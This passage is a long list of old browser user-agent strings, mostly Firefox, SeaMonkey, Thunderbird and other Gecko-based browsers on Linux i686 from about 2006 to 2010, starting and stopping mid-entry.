rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070104 Red Hat/1.0.7-0.6.fc5 SeaMonkey/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061003 BonEcho/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mnenhy/0.7.4.666\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061012 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/2006101713 Firefox/2.0 (Slackware)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Debian-2.0+dfsg-1) Mnenhy/0.7.4.666\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061025 Firefox/2.0 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061026 BonEcho/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061026 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061027 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061031 BonEcho/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061101 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061103 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061127 lolifox/0.3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061129 BonEcho/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Mozilla/5.0 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070115 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070215 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070217 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070220 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070222 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20061201 Firefox/2.0.0.11 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2007.0 (2007.0) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071127 Ubuntu/dapper-security Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-1:2.0.0.11-1thai1tle6)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071201 (Debian-1.8.1.11-1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071203 IceCat/2.0.0.11-g1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 BonEcho/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071206 Firefox/2.0.0.11 Flock/1.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080227 Thunderbird/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080304 Firefox/2.0.0.12 Flock/1.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080321 BonEcho/2.0.0.12 (SliTaz GNU/Linux)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0 Iceweasel/2.0.0.3 (Debian-2.0.0.13-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.3 Iceweasel/2.0.0.13 (Debian-2.0.0.13-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 (Ubuntu-1.1.9+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080401 BonEcho/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080414 Firefox/2.0.0.14 Flock/1.1.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 BonEcho/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 MEGAUPLOAD 1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080502 Thunderbird/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080505 Thunderbird/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080612 Iceweasel/2.0.0.15 (Debian-2.0.0.15-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Fedora/1.1.11-1.fc8 SeaMonkey/1.1.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 SeaMonkey/1.1.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080723 Fedora/2.0.0.16-1.fc8 Thunderbird/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080724 Thunderbird/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 (Ubuntu-1.1.12+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080925 Thunderbird/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081030 SeaMonkey/1.1.13 (Ubuntu-1.1.13+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Fedora/1.1.13-1.fc8 SeaMonkey/1.1.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 SeaMonkey/1.1.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081125 Thunderbird/2.0.0.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081204 Iceape/1.1.14 (Debian-1.1.14-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/2008120920 Thunderbird/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Galeon/2.0.4 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 SeaMonkey/1.1.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081218 SeaMonkey/1.1.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081221 SeaMonkey/1.1.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20090105 Thunderbird/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070208\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070208 Iceweasel/2.0.0.2 (Debian-2.0.0.2+dfsg-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070224 BonEcho/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070302 BonEcho/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070307 Firefox/2.0.0.2 Flock/0.7.99\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070309 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090318 Thunderbird/2.0.0.21\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090409 Thunderbird/2.0.0.21\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 (Ubuntu-1.1.17+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090608 Thunderbird/2.0.0.22\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090624 SeaMonkey/1.1.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090708 SeaMonkey/1.1.17\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090817 Thunderbird/2.0.0.23\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090907 SeaMonkey/1.1.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090908 Fedora/1.1.18-1.fc10 SeaMonkey/1.1.18\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.24) Gecko/20100317 Thunderbird/2.0.0.24\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.24) Gecko/20100411 Thunderbird/2.0.0.24\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 MEGAUPLOAD 1.0 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070208 Mandriva/2.0.0.3-2mdv2007.1 (2007.1) Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070320 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070320 SUSE/2.0.0.3-11.1 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070405 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070407 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070417 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070517 BonEcho/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070521 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4)   Gecko/20061023 SUSE/2.0.0.4-1.1 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061023 SUSE/2.0.0.4-1.1 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Mozilla/5.0 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-2ubuntu5)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-3) Galeon/2.0.2 (Debian package 2.0.2-4)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070509 Iceape/1.1.2 (Debian-1.1.2-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 BonEcho/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070414 BonEcho/2.0.0.4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 